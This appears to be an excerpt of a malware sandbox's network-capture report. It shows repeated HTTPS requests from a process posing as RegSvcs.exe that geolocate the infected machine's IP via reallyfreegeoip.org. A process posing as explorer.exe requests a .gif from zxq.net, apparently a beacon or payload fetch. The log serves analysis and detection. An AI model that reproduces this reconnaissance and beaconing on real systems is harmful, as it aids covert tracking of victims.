Oct 29, 2024 13:12:02.143970966 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:12:02 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:12:02.144040108 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	188.114.96.3	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:02 UTC	87	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-29 12:08:02 UTC	884	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:02 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AZ6gpggEPHcESXQ= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 11192 Last-Modified: Tue, 29 Oct 2024 09:01:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=brzrjaF0bJgnPBpCXiGyEx8%2BytVo9W9Tr32iPnM6JKD3w612t5b1S7YEvwdD%2FrliNMJR0dGsLuXC5qbGZ9HVD3UXzPYQviZy3uOBynYoFCC%2FJ9NAsYWXR4C4vZKNuollFdLwFTyw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da30c771f81474c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1858&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1624228&cwnd=32&unsent_bytes=0&cid=d31f0d1177d5d1f1&ts=715&x=0"
2024-10-29 12:08:02 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	188.114.96.3	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:03 UTC	63	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-29 12:08:03 UTC	885	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:03 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AZ6gpggEPHcESXQ= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 11193 Last-Modified: Tue, 29 Oct 2024 09:01:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JvJQUajUeICNxGBe%2FG3b1DGUAKV2GfQgYwAv6IhmAF05Ueyk8IAh0wTJ1AAuBQFh%2BCKFDwCwRwUIOLZFD4z8w2GX7bG7KtQTXuTFXX98i2TyZKPI8RVP24BpJJPlTcxhLPGW%2BBE2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da30c7d8f60e5f2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1324&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2278520&cwnd=251&unsent_bytes=0&cid=0fb9bea8095b9812&ts=148&x=0"
2024-10-29 12:08:03 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	188.114.97.3	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:05 UTC	87	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-29 12:08:05 UTC	885	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:05 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AZ6gpggEPHcESXQ= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 11195 Last-Modified: Tue, 29 Oct 2024 09:01:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FZCmrEGAV46Du6Zje9nOmhl0T5jUYJltcCGAwHHkCmPR0ZCXor5esoDDfonXscqCBtfPwT1F2lBAG9qf9%2B0x93%2FQaxsYPgC1xY3wQELtiFZflKcjQJLsIe0dRet28TFbN15rHXcp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da30c897bbf6b4c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1130&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2344939&cwnd=233&unsent_bytes=0&cid=1d09ffebdc7df716&ts=152&x=0"
2024-10-29 12:08:05 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49713	188.114.97.3	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:07 UTC	63	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-29 12:08:07 UTC	883	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:07 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AZ6gpggEPHcESXQ= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 11197 Last-Modified: Tue, 29 Oct 2024 09:01:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nn7Hx1BfPxVYgoGxjvsSOZCETmoB7ox2Im4h1qjQODD8aBqs7bWk29rvpGno8NZ1G2cjo1u40KbaSWVSnHxvFPuiBzM2BbPePAoeX%2FpkEBMl0zT1vlWRgCOs%2BnUMvhcrTcWJlQGQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da30c9488ace510-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1255&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2553791&cwnd=251&unsent_bytes=0&cid=e6fb92c1555a6a5a&ts=247&x=0"
2024-10-29 12:08:07 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	188.114.97.3	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:08 UTC	63	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-29 12:08:08 UTC	895	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:08 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AZ6gpggEPHcESXQ= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 11198 Last-Modified: Tue, 29 Oct 2024 09:01:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=upPP65tq%2FybfndCMIrJeEPkXxtFK6c%2B%2BqZrujlu3zzdrWWPFBQF7ssiuZSpBqa6kPb0acGeYn0bHkNlH0D7nIB0x5U1x%2FrSO%2BGmJh1PueQeb%2F%2Fva9eXtqq0Yj%2FPDQSogZ3xswKss"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da30c9eca846b3c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1984&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1490478&cwnd=251&unsent_bytes=0&cid=792364b3416e12d3&ts=150&x=0"
2024-10-29 12:08:08 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	188.114.97.3	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:10 UTC	87	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-29 12:08:10 UTC	897	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:10 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AZ6gpggEPHcESXQ= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 11200 Last-Modified: Tue, 29 Oct 2024 09:01:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FetjLiaZel2%2FgclR4jVAjXZgcRx3YBQq%2B4Na%2BbqSdAlvuRO%2BKEd996SKvAkCADogO01lTB1%2BQSzSGfKcoLe03eMGDQBcY9aNusF85Ixky0P6fQS7%2BLjhSnM%2BA8C7WBTwT%2BQAkDz3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da30ca90f816bcb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=1720736&cwnd=251&unsent_bytes=0&cid=2dd330d85018fa1b&ts=150&x=0"
2024-10-29 12:08:10 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	51.81.194.202	443	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:11 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-29 12:08:11 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Tue, 29 Oct 2024 12:08:11 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49721	188.114.97.3	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:11 UTC	63	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-29 12:08:12 UTC	885	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:12 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AZ6gpggEPHcESXQ= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 11202 Last-Modified: Tue, 29 Oct 2024 09:01:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OE%2BJILuQTAy%2B4hKzJv1wi1S3lrcgLSnQyBEutEyZN3zjyI0sDerSECsODXmuHagAj%2BCadeb5xaoixbIwM6K9bH%2F1yoA1hELOakQHOW1gMfpzh4oD3xAeBuXG166M7f4HbqZGtxIr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da30cb349d84648-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=997&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2946083&cwnd=32&unsent_bytes=0&cid=c699e093a3df5538&ts=158&x=0"
2024-10-29 12:08:12 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49722	51.81.194.202	443	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:12 UTC	221	OUT	GET /what-happened-to-the-old-zxq-website/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-29 12:08:13 UTC	592	IN	HTTP/1.1 200 OK Connection: close content-type: text/html; charset=UTF-8 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" link: <https://zxq.net/wp-json/wp/v2/pages/187>; rel="alternate"; type="application/json" link: <https://zxq.net/?p=187>; rel=shortlink etag: "114140-1729962654;;;" x-litespeed-cache: hit transfer-encoding: chunked date: Tue, 29 Oct 2024 12:08:12 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-10-29 12:08:13 UTC	776	IN	Data Raw: 64 65 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 73 2d 64 61 72 6b 20 73 69 74 65 2d 73 2d 64 61 72 6b 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 Data Ascii: de99<!DOCTYPE html><html lang="en-US" class="s-dark site-s-dark"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snipp
2024-10-29 12:08:13 UTC	14994	IN	Data Raw: 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 72 74 69 63 6c 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 57 68 61 74 20 68 61 70 70 65 6e 65 64 20 74 6f 20 74 68 65 20 6f 6c 64 20 5a 58 51 20 77 65 62 73 69 74 65 3f 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 46 6f 72 20 5a 58 51 2e 6e 65 74 20 53 75 62 64 6f 6d 61 69 6e 20 4f 77 6e 65 72 73 20 54 68 65 20 6f 6c 64 20 5a 58 51 20 77 65 62 73 69 74 65 